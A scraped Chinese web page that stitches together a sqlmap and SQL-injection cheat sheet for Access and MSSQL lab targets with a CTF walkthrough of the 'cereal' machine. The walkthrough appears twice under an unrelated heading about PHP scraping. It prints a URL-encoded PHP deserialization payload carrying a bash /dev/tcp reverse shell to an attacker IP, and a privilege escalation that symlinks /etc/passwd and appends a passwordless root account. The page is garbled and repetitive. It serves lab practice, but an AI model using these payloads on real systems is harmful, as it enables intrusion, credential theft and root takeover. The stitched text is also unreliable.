sqlmap -u http://www.xxxxx.com/test.php?p=2--columns -D mysql -T users -v 2
7.获取指定数据库名中指定表中指定字段的数据
sqlmap -u http://www.xxxxx.com/test.php?p=2--dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2
8.file-read读取web文件
sqlmap -u http://www.xxxxx.com/test.php?p=2--file-read "/etc/passwd" -v 2
9.file-write写入文件到web
sqlmap -u http://www.xxxxx.com/test.php?p=2--file-write /localhost/mm.php --file使用sqlmap绕过防火墙进行注入测试
sqlmap详细命令
–is-dba 当前用户权限(是否为root权限)–dbs 所有数据库–current-db 网站当前数据库–users 所有数据库用户–current-user 当前数据库用户–random-agent 构造随机user-agent–passwords 数据库密码–proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)——————————————————————————————————
Options(选项)
–version 显示程序的版本号并退出
-h, –help 显示此帮助消息并退出-v VERBOSE 详细级别:0-6(默认为1)保存进度继续跑:sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” 保存进度sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” –resume 恢复已保存进度
Target(目标)
以下至少需要设置其中一个选项,设置目标URL。-d DIRECT 直接连接到数据库。-u URL, –url=URL 目标URL。-l LIST 从Burp或WebScarab代理的日志中解析目标。-r REQUESTFILE 从一个文件中载入HTTP请求。-g GOOGLEDORK 处理Google dork的结果作为目标URL。-c CONFIGFILE 从INI配置文件中加载选项。
Request(请求)
这些选项可以用来指定如何连接到目标URL。–data=DATA 通过POST发送的数据字符串–cookie=COOKIE HTTP Cookie头–cookie-urlencode URL 编码生成的cookie注入–drop-set-cookie 忽略响应的Set – Cookie头信息–user-agent=AGENT 指定 HTTP User – Agent头–random-agent 使用随机选定的HTTP User – Agent头–referer=REFERER 指定 HTTP Referer头–headers=HEADERS 换行分开,加入其他的HTTP头–auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)–auth-cred=ACRED HTTP身份验证凭据(用户名:密码)–auth-cert=ACERT HTTP认证证书(key_file,cert_file)–proxy=PROXY 使用HTTP代理连接到目标URL–proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)–ignore-proxy 忽略系统默认的HTTP代理–delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒–timeout=TIMEOUT 等待连接超时的时间(默认为30秒)–retries=RETRIES 连接超时后重新连接的时间(默认3)–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式–safe-url=SAFURL 在测试过程中经常访问的url地址–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
Enumeration(枚举)
这些选项可以用来列举后端数据库管理系统的信息表中的结构和数据此外,您还可以运行您自己的SQL语句。-b, –banner 检索数据库管理系统的标识–current-user 检索数据库管理系统当前用户–current-db 检索数据库管理系统当前数据库–is-dba 检测DBMS当前用户是否DBA–users 枚举数据库管理系统用户–passwords 枚举数据库管理系统用户密码哈希–privileges 枚举数据库管理系统用户的权限–roles 枚举数据库管理系统用户的角色–dbs 枚举数据库管理系统数据库-D DBname 要进行枚举的指定数据库名-T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)–tables 枚举的DBMS数据库中的表–columns 枚举DBMS数据库表列–dump 转储数据库管理系统的数据库中的表项–dump-all 转储所有的DBMS数据库表中的条目–search 搜索列(S),表(S)和/或数据库名称(S)-C COL 要进行枚举的数据库列-U USER 用来进行枚举的数据库用户–exclude-sysdbs 枚举表时排除系统数据库–start=LIMITSTART 第一个查询输出进入检索–stop=LIMITSTOP 最后查询的输出进入检索–first=FIRSTCHAR 第一个查询输出字的字符检索–last=LASTCHAR 最后查询的输出字字符检索–sql-query=QUERY 要执行的SQL语句–sql-shell 提示交互式SQL的shell
Optimization(优化)
这些选项可用于优化SqlMap的性能。-o 开启所有优化开关–predict-output 预测常见的查询输出–keep-alive 使用持久的HTTP(S)连接–null-connection 从没有实际的HTTP响应体中检索页面长度–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
Injection(注入)
这些选项可以用来指定测试哪些参数提供自定义的注入payloads和可选篡改脚本。-p TESTPARAMETER 可测试的参数(S)–dbms=DBMS 强制后端的DBMS为此值–os=OS 强制后端的DBMS操作系统为这个值–prefix=PREFIX 注入payload字符串前缀–suffix=SUFFIX 注入payload字符串后缀–tamper=TAMPER 使用给定的脚本(S)篡改注入数据
Detection(检测)
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。–level=LEVEL 执行测试的等级(1-5,默认为1)–risk=RISK 执行测试的风险(0-3,默认为1)–string=STRING 查询时有效时在页面匹配字符串–regexp=REGEXP 查询时有效时在页面匹配正则表达式–text-only 仅基于在文本内容比较网页
Techniques(技巧)
这些选项可用于调整具体的SQL注入测试。–technique=TECH SQL注入技术测试(默认BEUST)–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)–union-cols=UCOLS 定列范围用于测试UNION查询注入–union-char=UCHAR 用于暴力猜解列数的字符
Fingerprint(指纹)
-f, –fingerprint 执行检查广泛的DBMS版本指纹
Brute force(蛮力)
这些选项可以被用来运行蛮力检查。–common-tables 检查存在共同表–common-columns 检查存在共同列
User-defined function injection
(用户自定义函数注入)
这些选项可以用来创建用户自定义函数。–udf-inject 注入用户自定义函数–shared-lib=SHLIB 共享库的本地路径
File system access(访问文件系统)
这些选项可以被用来访问后端数据库管理系统的底层文件系统。–file-read=RFILE 从后端的数据库管理系统文件系统读取文件–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
Operating system access
(操作系统访问)
这些选项可以用于访问后端数据库管理系统的底层操作系统。–os-cmd=OSCMD 执行操作系统命令–os-shell 交互式的操作系统的shell–os-pwn 获取一个OOB shell,meterpreter或VNC–os-smbrelay 一键获取一个OOB shell,meterpreter或VNC–os-bof 存储过程缓冲区溢出利用–priv-esc 数据库进程用户权限提升–msf-path=MSFPATH Metasploit Framework本地的安装路径–tmp-path=TMPPATH 远程临时文件目录的绝对路径Windows注册表访问:这些选项可以被用来访问后端数据库管理系统Windows注册表。–reg-read 读一个Windows注册表项值–reg-add 写一个Windows注册表项值数据–reg-del 删除Windows注册表键值–reg-key=REGKEY Windows注册表键–reg-value=REGVAL Windows注册表项值–reg-data=REGDATA Windows注册表键值数据–reg-type=REGTYPE Windows注册表项值类型这些选项可以用来设置一些一般的工作参数。-t TRAFFICFILE 记录所有HTTP流量到一个文本文件中-s SESSIONFILE 保存和恢复检索会话文件的所有数据–flush-session 刷新当前目标的会话文件–fresh-queries 忽略在会话文件中存储的查询结果–eta 显示每个输出的预计到达时间–update 更新SqlMap–save file保存选项到INI配置文件–batch 从不询问用户输入,使用所有默认配置。
Miscellaneous(杂项)
–beep 发现SQL注入时提醒–check-payload IDS对注入payloads的检测测试–cleanup SqlMap具体的UDF和表清理DBMS–forms 对目标URL的解析和测试形式–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果–page-rank Google dork结果显示网页排名(PR)–parse-errors 从响应页面解析数据库管理系统的错误消息–replicate 复制转储的数据到一个sqlite3数据库–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址–wizard 给初级用户的简单向导界面
思维导图
涉及资源https://www.cnblogs.com/bmjoke ... %3Bbr />https://blog.csdn.net/qq_39936 ... .html
案例演示1. Access注入用sqlmap判断数据库类型
尝试猜字段数,order by 5时网页有回显,所以字段数为4:46604/new_list.asp?id=1 order by 5
Access只是单纯的数据库,只有数据,没有数据库名,数据库版本,操作系统等功能,没有information_shcema。可直接查询数据,获取表名,列名。尝试联合注入查询时没有反应:46604/new_list.asp?id=-1 union select 1,2,3,4
用猜解方式猜解表名,列名(常用的一些表名,如admin,admin_login等)网页出现回显:46604/new_list.asp?id=-1 union select 1,2,3,4 from admin
在回显位尝试猜解字段
使用sqlmap跑出来的结果是一样的:sqlmap -u :49010/new_list.asp?id=1 -T admin --colimns
sqlmap -u :49010/new_list.asp?id=1 -T admin -C username,passwd --dump
2. Access偏移注入偏移注入的使用目前猜测出了表名,但是怎么都猜不出列名,使用联合查询法来进行偏移注入
接下来测出偏移量,其实这个偏移量就是admin这张表的列的个数。直接将22改成*号,测试是否回显正常,不正常就一直往前减,一直减少到回显正常为止。
这里运气比较好,直接就爆出了密码。但是还没有用户名呢,那么接下来可以打乱顺序来重置爆出来的结果,这里可以使用下列方法来进行完成。
从图中可以看出已经爆出了用户名为admin了
简单说下语句UNION SELECT 1,2,3,* from (admin as a inner join admin as b on a.id=b.id),首先为什么从union select 1,2,3,4,5,6,* from变成了1,2,3,*呢是这样推导出来的:order by 9代表有9个回显点1,2,3,4,5,6,*代表admin表的字段数只有3个admin表变成了(admin as a inner join admin as b on a.id=b.id)这里是将admin重命名为了a和b两张表然后通过inner join 将a表和b表的id相同字段展示出来a表和b表本来都是admin表所以id肯定都是相同的(这里要提醒一下,id这个字段可以换成其它字段,但是一定得存在,一般admin表中都存在id字段的)这样做的目的就是可以打乱顺序来爆出其它字段但是由于增加了一张表所以字段数得再减少一个*号的长度所以就从6变成了3
3.偏移注入的进阶
这样爆东西非常有随机性如果表的字段比较多而这个显示位又比较少的话是很有可能爆不出自己想要的东西的所以接下来学习偏移注入进阶同样通过order by 和union select找到了表为admin但是还是扫不出列名,这次回显点有22个
测试admin的列的个数,最终长度为6,而且这次什么都没爆出来
开始偏移注入,爆出的结果却是时间
此时可以增加a.id或者b.id或者a.id和b.id一起加上去来打乱随机的顺序,时间确实换了,但是又不是我们想要的,这只是一个数字,可能是id值之类的
查看网页的源代码,会有隐藏的惊喜
发现这里有隐藏起来的回显点,爆出来了用户名为admin,但是还没有密码增加表的个数,修改代码,UNION SELECT 1,2,3,4,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id),查看源代码,成功拿到用户名和密码了。
3. SQL server/mssql
https://www.mozhe.cn/bug/detai ... mozhe
通过pangolin获取所需数据:
还可以进行命令执行和文件管理
key
##手工注入判断是否是Mssql判断是否是mssql数据库,返回正常,说明该数据库是mssql
判断数据库版本号,返回正常,说明版本号正确
判断字段长度order by 4正常,遍历至5时报错,说明字段长度为4
寻找字符型显示位:44626/new_list.asp?id=-2 union all select null,null,null,null这里使用的是 union all,它和 union select 的区别就是:union select 会自动去除一些重复的字段,在这个靶场使用 union select 是不行的,所以用 union all。使用null 是说明它无关是字符型还是数字型
猜测显示位:44626/new_list.asp?id=-2 union all select '1',null,null,null
:44626/new_list.asp?id=-2 union all select null,'2',null,null
:44626/new_list.asp?id=-2 union all select null,'2','3',null
查询相关信息获取版本信息:44626/new_list.asp?id=-2 union all select null,@@version,'3',null
获取数据库名:44626/new_list.asp?id=-2 union all select null,db_name(),'3',null
获取当前用户名:44626/new_list.asp?id=-2 union all select null,user,'3',null:44626/new_list.asp?id=-2 union all select null,system_user,'3',null:44626/new_list.asp?id=-2 union all select null,current_user,'3',null
查询表名:44626/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4
:44626/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4注释:name not in ('manage') 这段语句意思是查询 name 不是 'manage' 的,这样就可以排除 'manage' 从而查询下一个表名
announcement之后还是manage,说明就这俩表
获取列名:44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null注释:col_name 是查询的列名,object_id('manage')是从manage这个表里查询,1 代表的是查询第一个列名
这边查询出来第一个列名是 id,我们继续查第二个列名只需要把数字1修改为2就行了col_name(object_id('manage'),2:44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null
查询出来第二个列名是 username,我们继续查询第三个列名::44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null
获取数据:44626/new_list.asp?id=-2 union all select null,username,password,null from manage
4. PostgraSQL字段
sqlmap判断数据库种类
查看表名
查看字段名
查看字段值
5. oracle
6. mongoDBNoSQLAttack支持mongoDB的注入工具
然后输入x返回,输入4进入
往期内容回顾
大哥大哥行行好
一万字也不算少如有帮助请随意打赏
php抓取网页数据插入数据库 外壳坚硬的谷子
网站优化 • 优采云 发表了文章 • 0 个评论 • 75 次浏览 • 2022-06-21 00:51
发现了一个java_script脚本(实际渗透工作中应该关注此脚本内容,能够透出出后端的信息)
里面的内容大致的意思是
通过函数,提交表单,通过序列化的操作!IP地址等信息交给ipaddres这个变量序列化的操作!
那么在这里面既然有序列化的操作,是否会存在一个反序列化的漏洞类型呢?
这里还看到了一个被包含的js的文件
点击这个链接 :44441/php.js"
里面的内容大致就是序列化函数,大概率存在序列化操作
先对其页面进行功能化测试,输入127.0.0.1
在结果框中输出了结果
输入一些运营商的DNS的IP地址
结果显示出来,从结果上来看,就是通过操作系统的ping 命令操作得来的!
总的来说这就是一个ping的功能界面(输入Ip ,统计输出一些信息是由服务端调用了系统的ping 命令而来)
这个地方是否会存在命令注入漏洞呢?
使用;号,|管道符这样的连接命令,连接一个系统id的命令
如图:没有任何返回
使用burp抓取请求报文,看一下内部的流量变化,是否存在序列化的数据
先把浏览器代理设置好
通过抓取的报文,得到的是一个POST的请求方式;
携带了一个obj的对象和一个ip 的变量要提交到服务端;
其中这个obj的对象里的内容经过了url编码,将它转换成可识别的路径
转换结果,懂得序列化格式的朋友一看就是php文件之后的序列化数据的格式了
pingTest :序列化对象定义的的类
1 :代表类中一个数据的提交
ipAddress :类中提交的一个数据的变量名称
s : 代表了序列化
9 : 代表了名称ipAddress 和 127.0.0.1字符串的长度。
这就是客户端发送的序列化数据格式到服务端,服务端收到了127.0.0.1这个IP 去完成Ping,然后返回给客户端的一个过程!
如果觉得burp字体小,可以调的大一些
重新抓取一个请求报文,在表单中输入 127.0.0.1;id(增加了注入命令)
在抓取的请求报文中,将obj和ip 这两个类中序列化数据解码成可识别的url,看看有什么变化
序列化的格式基本没变,变化的就是赋值多了;id 这样的内容,字符长度也增加到了12个;
证明了表单中输入注入命令的这些内容,由java_script脚本原封不动的变成序列化的内容。
转发后,服务端并没有执行该序列化的内容
证明服务端对ip地址这样的格式存在检查机制!
为了弄清这个问题,将这个原始的命令发送请求发送给repeater
url被转换后,在repeater中点击send发送给服务端
在重放的界面中,可以构造一些注入命令;
我在这里添加 | ls ,发现服务端的响应报文有500的状态码
改变了字符的长度,虽然不是状态码500的状态码,但是回显页面是黑屏
反序列化的漏洞特征在黑盒测试下,是十分难获取,除非拿到源码!
那么接下来,就需要再目标靶机中找源码,在实际的渗透工作中,源码的存储路径默认在根路径下的.git或者.svn这样的版本库里
先停止burp的截断功能;
访问浏览器,查看是否有git的版本库文件,结果没有提示
查看.svn 也没有
再回想之前的信息收集,中曾描述了这么一段话:让我们关注其备份文件
再次使用dirbuster这个工具对secure.cereal.ctf:44441这个路径下进行隐藏路径和扩展名的爬取,携带体型较大的字典文件
在最终的爬取结果中,看到一些之前没有被爬取出的备份文件路径(根据计算机配置,时间长短不一!)
先访问/icons/small的路径,访问路径看起来但只是有一些小图片,这对渗透没有什么价值;
再针对/back_en这个路径进行隐藏路径的爬取,这里面是否会存在一些备份文件呢,还是利用dirbuster,只不过更换一个小体积的密码字典文件,携带查询扩展名为bak
寻找到了一个index.php.bak,并且这个http状态码是200 (这个状态显示该资源是存在的,并且能够请求到!)
既然发现了这一个文件,回到kali中,使用wget进行下载.index.php.bak
查看文件类型,看起来就是一个php的脚本文件,只不过增加了一个扩展名!
使用kali的文本编辑器mousepad打开该文件
看起来是一个带有php标签的php语言文件;
查看该php源码文件,发现有html标签文件
其中有java脚本文件中的一些序列化操作函数
源码审计分析
class pingTest ---定义了类(反序列化对象的类)
public $ipAddress = "127.0.0.1";--变量名称和赋值
public $isValid = False; -- 校验是失败的
public $output = ""; -- 空值
这是之前抓取的报文中obj对象中有的内容
function validate() {-- 定义了一个函数
if (!$this->isValid) { -- 校验isValid函数是真还是假
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{-- 使用过滤器对传入的IpAddress使用方法(使用filter_var进行判断)
$this->isValid = True;--fileter_var函数校验赋值若成功,将这个valid值变为True
}
}
$this->ping(); -- 执行Ping的命令;
}
public function ping() -- 以下是ping 的命令函数具体操作内容
{
if ($this->isValid) { -- isValid 若是 True
$this->output = shell_exec("ping -c 3 $this->ipAddress"); -- 执行内容就是使用ping 三个报文;
这里需要明白的是过滤器FILTERVALIDATE_IP 里的内容是在目标靶机中别的文件里进行定义的,其作用就是判断输入的内容是不是真正的IP,若是真正的IP,就将isValid改为True;
当post请求接收到来自obj请求的赋值时,进行一个解码的操作
f (isset($_POST['obj'])) {
$pingTest = unserialize -- 反序列化操作
(urldecode($_POST['obj'])); --解码
} else {
$pingTest = new pingTest; -- 新的赋值
}
$pingTest->validate(); --调用vali
分析完成后,攻击思路的重点放在提交的数据(IP地址)校验结果取决于与isvalid判定的结果,在源码文件中,默认isValid = False,若是生成一个序列化的数据,声明isValid值就等于True,这样的话,就会执行ping命令了!
实现绕过服务端的检查!
反序列化漏洞的利用方法
先在客户端上生成一个序列化的数据序列(内容中需要声明类,调用类创建一个新的序列化对象,,对象中的valid指定true,注入Ip地址后添加系统指令)实现饶过isValid真假的校验。
在kali上新建一个生成序列化的php文件,写一个ser1.php的php的代码
运行该php文件
生成了一个序列,将这个序列化的内容拷贝O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
将序列化内容粘贴到截获的报文之中去
将这个url 地址转换一下
能够看到有两个键值对 ipaddress 和isvalid
b=1 为布尔值,代表了真的意思!
点击发送,服务端返回了http状态码200
再观察服务端渲染回来的界面结果,看起来,是执行成功了!
再次验证结果,将生成序列化里的内容,稍作修改,将ipaddress改成另外一个Ip地址,(注意,如果改202.106.0.20这个IP,字符长度就要从原来的9变为12)要不然服务端会回显500的状态码!
结果成功!
由此,可以证明构造序列化的数据向服务端提交请求!,ip地址后面加入一些系统指令,来进一步证明!
这里我在223.5.5.5后面增加了 ;id
服务端回显了200的状态码
渲染界面里提示成功!
观察服务端回显的回应源数据文件
id的命令被执行了,目标靶机的第一个用户身份是apache的用户名称
因此,就可以在此处插入更多的指令
查看目标靶机中是否有nc的命令?
结果命令没有回显
由于插入常规的反弹shell 会导致字符长度过长,出于简单的目的,使用bash直接连接,产生网络连接的方式!
输入以下内容:
在kali中继续修改ser1.php文件
保存ser1.php文件后,在kali上开启侦听3028端口
再次运行 ser1.php文件,生成一个新的序列化数据O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A52%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.85%2F3028+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
将这个序列化的数据内容插入的repter之中,点击发送!
如图所示:获得了一个反弹shell的链接!身份是apche
本地提权
先收获第一个flag!
查看操作系统版本
查看 sudo 权限以及寻找suid文件漏洞,都没有得到有效的线索!
查看 目标系统内的所有用户
发现有一个rocky的用户可以登录系统!
查看rocky用户下的所有文件
重点放在了public_html下的文件,可以看到44441端口下的一些文件
进入到该文件目录,查看index.php 这个文件,发现内容和我之前下载的那个文件内容一样!类中的定义也是一样的!
查看目标靶机的系统进程
没有发现可利用的线索 (mysql用的是非root)
目标靶机启用了大量的端口!
这就是在端口扫描阶段,端口结果没有应用的原因!靶机作者用nc空开了许多无用的端口!
在漫长的信息收集后,决定使用一个监视目标靶机进程产生的工具
pspy64一个linux系统进程监控工具
下载地址:
部分网络环境需要挂的代理访问
百度云下载地址:
提取码:1zrs
从该软件的自述文件可以得知,不需要root身份就可以监控用户(操作系统)的新的进程创建,符合目前靶机的情况,来搜寻后台的进程-crond,这些后台进程会运行脚本文件(这些进程是root身份运行,比如定时任务什么的)
我现将这个软件上传到我的kali上去,因为目标靶机的系统是64位,因此我下载的这个Pspy也是64位的!
先查看目标靶机的定时任务和root下的定时任务
在root下提示是没有权限的!
将pspy64这个文件上传到目标靶机之中,查看目标靶机系统是否会在一段时间过后,自动创建一些后台进程(这些进程由root身份运行的呢?)
通过观察,在这个路径下,我目前的身份是apache ,而这些文件的用户组是apche,是拥有所有的权限的,包括了写入的权限!
因此,我利用nc 来接收这个pspy64文件
bash-4.4$ nc -nvlp 3030 > pspy
传入成功
nc 192.168.1.74 3030 < /home/fengxin/桌面/pspy64 -w 1
增加执行权限到pspy文件~
启动改文件 ./pspy
这个启动和执行过程需要等待一会,系统会不会有新的进程出现
!
1:33
在后台进程中,我发现了一个叫做chown.sh的脚本,众所周知chown是linux的一个命令
这应该是管理员自己创建的一个脚本文件
/bin/bash /usr/share/scripts/chown.sh
我在kali上监听3031端口,增加一个反弹shell的连接
修改之前抓取的obj对象里数据内容,将之前触发序列化漏洞的数据,有一个端口改为3031
查看目标靶机里的文件,能够查看到这个文件的权限是可以被其他用户所读取
查看该chown.sh文件
看起来是将周期性的这个/home/rocky/public_html/* 这个目标文件夹下所有的文件权限改成属主是rocky,属组是apache
这就是我之前有一个chmod +x 执行失败的原因,正好赶上周期性的将这个目录下所有文件的属主和属组改变,让我无法修改
一个周期过后,我在看这个public_html下所有的文件的属主和属组都发生了变化!
那么,这个命令脚本内容对目前渗透有什么帮助呢?
软连接这个命令这个时候就派上了用场!
先来看一下系统的/etc/passwd这个文件的属主和属组
在kali上只有root用户有可读可写权限,其他的只有读的权限
在目标靶机中的这个/etc/passwd文件是属主和属组拥有完全权限!
难么在靶机的这个/home/rocky/public_html下也新建一个Passwd文件,并连接到/etc/passwd呢?
ln -sf /etc/passwd ./passwd
这个chown.sh脚本在周期性的执行,会把这个/home/rokcy/public_html下的passwd文件属主改为rocky, 属组改为apache!
等待一段时间观察,监控到chown脚本周期执行,权限会发生变化,
可是图中的passd权限却没有发生变化!
按照理论目标靶机的/etc/passwd这个文件的属主和属组也会被修改成rokcy和apache的!
观察,/etc/passwd这个文件的属主和属组变化了!
这样的话就可以将root密码设为空了!
因为当前获得的反弹shell 不太稳定
我这里新建一个用户,密码占位符x 删除掉,不需要密码,使用的是uid和gid都为0的设置,了解linux用户属性的都知道uid=0 gid=0 的账号一定是root角色,并将这些信息追加到/etc/passwd中去
echo "daidai::0:0:root:/root:/bin/bash" >> /etc/passwd
最后查看passwd文件,注入成功!
最后使用su命令,切换到daidai这个用户
提权成功,获取flag
到此结束,打靶结束!
查看全部
php抓取网页数据插入数据库 外壳坚硬的谷子
发现了一个java_script脚本(实际渗透工作中应该关注此脚本内容,能够透出出后端的信息)
里面的内容大致的意思是
通过函数,提交表单,通过序列化的操作!IP地址等信息交给ipaddres这个变量序列化的操作!
那么在这里面既然有序列化的操作,是否会存在一个反序列化的漏洞类型呢?
这里还看到了一个被包含的js的文件
点击这个链接 :44441/php.js"
里面的内容大致就是序列化函数,大概率存在序列化操作
先对其页面进行功能化测试,输入127.0.0.1
在结果框中输出了结果
输入一些运营商的DNS的IP地址
结果显示出来,从结果上来看,就是通过操作系统的ping 命令操作得来的!
总的来说这就是一个ping的功能界面(输入Ip ,统计输出一些信息是由服务端调用了系统的ping 命令而来)
这个地方是否会存在命令注入漏洞呢?
使用;号,|管道符这样的连接命令,连接一个系统id的命令
如图:没有任何返回
使用burp抓取请求报文,看一下内部的流量变化,是否存在序列化的数据
先把浏览器代理设置好
通过抓取的报文,得到的是一个POST的请求方式;
携带了一个obj的对象和一个ip 的变量要提交到服务端;
其中这个obj的对象里的内容经过了url编码,将它转换成可识别的路径
转换结果,懂得序列化格式的朋友一看就是php文件之后的序列化数据的格式了
pingTest :序列化对象定义的的类
1 :代表类中一个数据的提交
ipAddress :类中提交的一个数据的变量名称
s : 代表了序列化
9 : 代表了名称ipAddress 和 127.0.0.1字符串的长度。
这就是客户端发送的序列化数据格式到服务端,服务端收到了127.0.0.1这个IP 去完成Ping,然后返回给客户端的一个过程!
如果觉得burp字体小,可以调的大一些
重新抓取一个请求报文,在表单中输入 127.0.0.1;id(增加了注入命令)
在抓取的请求报文中,将obj和ip 这两个类中序列化数据解码成可识别的url,看看有什么变化
序列化的格式基本没变,变化的就是赋值多了;id 这样的内容,字符长度也增加到了12个;
证明了表单中输入注入命令的这些内容,由java_script脚本原封不动的变成序列化的内容。
转发后,服务端并没有执行该序列化的内容
证明服务端对ip地址这样的格式存在检查机制!
为了弄清这个问题,将这个原始的命令发送请求发送给repeater
url被转换后,在repeater中点击send发送给服务端
在重放的界面中,可以构造一些注入命令;
我在这里添加 | ls ,发现服务端的响应报文有500的状态码
改变了字符的长度,虽然不是状态码500的状态码,但是回显页面是黑屏
反序列化的漏洞特征在黑盒测试下,是十分难获取,除非拿到源码!
那么接下来,就需要再目标靶机中找源码,在实际的渗透工作中,源码的存储路径默认在根路径下的.git或者.svn这样的版本库里
先停止burp的截断功能;
访问浏览器,查看是否有git的版本库文件,结果没有提示
查看.svn 也没有
再回想之前的信息收集,中曾描述了这么一段话:让我们关注其备份文件
再次使用dirbuster这个工具对secure.cereal.ctf:44441这个路径下进行隐藏路径和扩展名的爬取,携带体型较大的字典文件
在最终的爬取结果中,看到一些之前没有被爬取出的备份文件路径(根据计算机配置,时间长短不一!)
先访问/icons/small的路径,访问路径看起来但只是有一些小图片,这对渗透没有什么价值;
再针对/back_en这个路径进行隐藏路径的爬取,这里面是否会存在一些备份文件呢,还是利用dirbuster,只不过更换一个小体积的密码字典文件,携带查询扩展名为bak
寻找到了一个index.php.bak,并且这个http状态码是200 (这个状态显示该资源是存在的,并且能够请求到!)
既然发现了这一个文件,回到kali中,使用wget进行下载.index.php.bak
查看文件类型,看起来就是一个php的脚本文件,只不过增加了一个扩展名!
使用kali的文本编辑器mousepad打开该文件
看起来是一个带有php标签的php语言文件;
查看该php源码文件,发现有html标签文件
其中有java脚本文件中的一些序列化操作函数
源码审计分析
class pingTest ---定义了类(反序列化对象的类)
public $ipAddress = "127.0.0.1";--变量名称和赋值
public $isValid = False; -- 校验是失败的
public $output = ""; -- 空值
这是之前抓取的报文中obj对象中有的内容
function validate() {-- 定义了一个函数
if (!$this->isValid) { -- 校验isValid函数是真还是假
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{-- 使用过滤器对传入的IpAddress使用方法(使用filter_var进行判断)
$this->isValid = True;--fileter_var函数校验赋值若成功,将这个valid值变为True
}
}
$this->ping(); -- 执行Ping的命令;
}
public function ping() -- 以下是ping 的命令函数具体操作内容
{
if ($this->isValid) { -- isValid 若是 True
$this->output = shell_exec("ping -c 3 $this->ipAddress"); -- 执行内容就是使用ping 三个报文;
这里需要明白的是过滤器FILTERVALIDATE_IP 里的内容是在目标靶机中别的文件里进行定义的,其作用就是判断输入的内容是不是真正的IP,若是真正的IP,就将isValid改为True;
当post请求接收到来自obj请求的赋值时,进行一个解码的操作
f (isset($_POST['obj'])) {
$pingTest = unserialize -- 反序列化操作
(urldecode($_POST['obj'])); --解码
} else {
$pingTest = new pingTest; -- 新的赋值
}
$pingTest->validate(); --调用vali
分析完成后,攻击思路的重点放在提交的数据(IP地址)校验结果取决于与isvalid判定的结果,在源码文件中,默认isValid = False,若是生成一个序列化的数据,声明isValid值就等于True,这样的话,就会执行ping命令了!
实现绕过服务端的检查!
反序列化漏洞的利用方法
先在客户端上生成一个序列化的数据序列(内容中需要声明类,调用类创建一个新的序列化对象,,对象中的valid指定true,注入Ip地址后添加系统指令)实现饶过isValid真假的校验。
在kali上新建一个生成序列化的php文件,写一个ser1.php的php的代码
运行该php文件
生成了一个序列,将这个序列化的内容拷贝O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
将序列化内容粘贴到截获的报文之中去
将这个url 地址转换一下
能够看到有两个键值对 ipaddress 和isvalid
b=1 为布尔值,代表了真的意思!
点击发送,服务端返回了http状态码200
再观察服务端渲染回来的界面结果,看起来,是执行成功了!
再次验证结果,将生成序列化里的内容,稍作修改,将ipaddress改成另外一个Ip地址,(注意,如果改202.106.0.20这个IP,字符长度就要从原来的9变为12)要不然服务端会回显500的状态码!
结果成功!
由此,可以证明构造序列化的数据向服务端提交请求!,ip地址后面加入一些系统指令,来进一步证明!
这里我在223.5.5.5后面增加了 ;id
服务端回显了200的状态码
渲染界面里提示成功!
观察服务端回显的回应源数据文件
id的命令被执行了,目标靶机的第一个用户身份是apache的用户名称
因此,就可以在此处插入更多的指令
查看目标靶机中是否有nc的命令?
结果命令没有回显
由于插入常规的反弹shell 会导致字符长度过长,出于简单的目的,使用bash直接连接,产生网络连接的方式!
输入以下内容:
在kali中继续修改ser1.php文件
保存ser1.php文件后,在kali上开启侦听3028端口
再次运行 ser1.php文件,生成一个新的序列化数据O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A52%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.85%2F3028+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
将这个序列化的数据内容插入的repter之中,点击发送!
如图所示:获得了一个反弹shell的链接!身份是apche
本地提权
先收获第一个flag!
查看操作系统版本
查看 sudo 权限以及寻找suid文件漏洞,都没有得到有效的线索!
查看 目标系统内的所有用户
发现有一个rocky的用户可以登录系统!
查看rocky用户下的所有文件
重点放在了public_html下的文件,可以看到44441端口下的一些文件
进入到该文件目录,查看index.php 这个文件,发现内容和我之前下载的那个文件内容一样!类中的定义也是一样的!
